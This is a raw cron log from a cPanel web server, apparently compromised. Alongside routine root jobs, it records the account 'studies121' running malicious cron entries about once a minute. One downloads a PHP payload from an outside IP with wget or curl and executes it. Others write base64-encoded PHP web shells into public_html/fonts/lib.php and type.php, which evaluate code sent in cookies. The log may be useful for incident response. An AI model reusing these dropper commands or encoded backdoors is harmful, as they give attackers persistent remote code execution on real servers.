Sep  4 03:54:01 ip-184-168-122-23 CROND[15957]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:54:01 ip-184-168-122-23 CROND[15960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:55:01 ip-184-168-122-23 CROND[16089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:55:01 ip-184-168-122-23 CROND[16091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:55:01 ip-184-168-122-23 CROND[16093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:55:01 ip-184-168-122-23 CROND[16092]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:55:01 ip-184-168-122-23 CROND[16095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:55:01 ip-184-168-122-23 CROND[16094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:56:01 ip-184-168-122-23 CROND[16204]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:56:01 ip-184-168-122-23 CROND[16206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:56:01 ip-184-168-122-23 CROND[16205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:56:01 ip-184-168-122-23 CROND[16209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:56:01 ip-184-168-122-23 CROND[16212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:57:01 ip-184-168-122-23 CROND[16333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:57:01 ip-184-168-122-23 CROND[16340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:57:01 ip-184-168-122-23 CROND[16341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:57:01 ip-184-168-122-23 CROND[16342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:58:01 ip-184-168-122-23 CROND[16510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:58:01 ip-184-168-122-23 CROND[16512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:58:01 ip-184-168-122-23 CROND[16514]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 03:58:01 ip-184-168-122-23 CROND[16515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:58:01 ip-184-168-122-23 CROND[16517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:59:01 ip-184-168-122-23 CROND[16623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 03:59:01 ip-184-168-122-23 CROND[16626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 03:59:01 ip-184-168-122-23 CROND[16627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:59:01 ip-184-168-122-23 CROND[16625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:00:01 ip-184-168-122-23 CROND[16738]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 04:00:01 ip-184-168-122-23 CROND[16739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:00:01 ip-184-168-122-23 CROND[16742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:00:01 ip-184-168-122-23 CROND[16741]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 04:00:01 ip-184-168-122-23 CROND[16746]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:00:01 ip-184-168-122-23 CROND[16747]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:00:01 ip-184-168-122-23 CROND[16753]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:00:01 ip-184-168-122-23 CROND[16754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:00:01 ip-184-168-122-23 CROND[16755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:01:02 ip-184-168-122-23 CROND[16885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:01:02 ip-184-168-122-23 CROND[16884]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 04:01:02 ip-184-168-122-23 CROND[16886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:01:02 ip-184-168-122-23 CROND[16888]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 04:01:02 ip-184-168-122-23 CROND[16889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:01:02 ip-184-168-122-23 CROND[16887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16884]: starting 0anacron
Sep  4 04:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16904]: finished 0anacron
Sep  4 04:02:01 ip-184-168-122-23 CROND[17021]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:02:01 ip-184-168-122-23 CROND[17022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:02:01 ip-184-168-122-23 CROND[17025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:02:01 ip-184-168-122-23 CROND[17026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:02:01 ip-184-168-122-23 CROND[17027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:03:01 ip-184-168-122-23 CROND[17290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:03:01 ip-184-168-122-23 CROND[17291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:03:01 ip-184-168-122-23 CROND[17292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:03:01 ip-184-168-122-23 CROND[17293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:04:01 ip-184-168-122-23 CROND[17487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:04:01 ip-184-168-122-23 CROND[17486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:04:01 ip-184-168-122-23 CROND[17489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:04:01 ip-184-168-122-23 CROND[17488]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:04:01 ip-184-168-122-23 CROND[17490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:05:01 ip-184-168-122-23 CROND[17587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:05:01 ip-184-168-122-23 CROND[17590]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:05:01 ip-184-168-122-23 CROND[17591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:05:01 ip-184-168-122-23 CROND[17589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:05:01 ip-184-168-122-23 CROND[17594]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:05:01 ip-184-168-122-23 CROND[17592]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 04:05:01 ip-184-168-122-23 CROND[17593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:06:01 ip-184-168-122-23 CROND[17739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:06:01 ip-184-168-122-23 CROND[17738]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:06:01 ip-184-168-122-23 CROND[17741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
